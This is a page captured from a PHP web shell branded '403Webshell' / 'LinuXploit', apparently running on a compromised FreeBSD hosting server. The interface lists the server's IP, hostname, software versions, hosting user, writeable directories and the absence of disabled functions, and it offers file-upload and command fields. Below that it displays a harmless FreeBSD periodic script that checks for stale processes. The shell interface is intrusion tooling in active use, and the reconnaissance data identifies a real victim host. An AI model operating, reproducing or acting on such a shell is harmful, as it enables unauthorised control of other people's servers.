403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/checkrestart/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/checkrestart/files/checkrestart.in
#!/bin/sh

if [ -r /etc/defaults/periodic.conf ]; then
    . /etc/defaults/periodic.conf
    source_periodic_confs
fi

: "${security_checkrestart_enable:=NO}"
: "${security_checkrestart_period:=DAILY}"
: "${security_checkrestart_users:=}"           # User names or IDs to check
: "${security_checkrestart_jails:=}"           # Jail names or IDs to check
: "${security_checkrestart_procs:=}"           # Process names or IDs to check

checkrestartcmd=%%PREFIX%%/bin/checkrestart
hflag=""
rc=0

export COLUMNS=80

checkrestart() {
    local result
    result="$(${checkrestartcmd} ${hflag} "$@" -- ${security_checkrestart_procs} 2>&1)"
    if [ "$result" ]; then
        echo "${result}"
        rc=3
    fi
    hflag="-H"
}

checkrestart_each_user() {
    if [ -n "${security_checkrestart_users}" ]; then
        for user in ${security_checkrestart_users}; do
            checkrestart -u "${user}" "$@"
        done
    else
        checkrestart "$@"
    fi
}

checkrestart_start() {
    if [ -n "${security_checkrestart_jails}" ]; then
        for jail in ${security_checkrestart_jails}; do
            checkrestart_each_user -j "${jail}"
        done
    else
        checkrestart_each_user
    fi
}

if check_yesno_period security_checkrestart_enable
then
    echo
    echo 'Checking for stale processes:'
    checkrestart_start
fi

exit $rc

Youez - 2016 - github.com/yon3zu
LinuXploit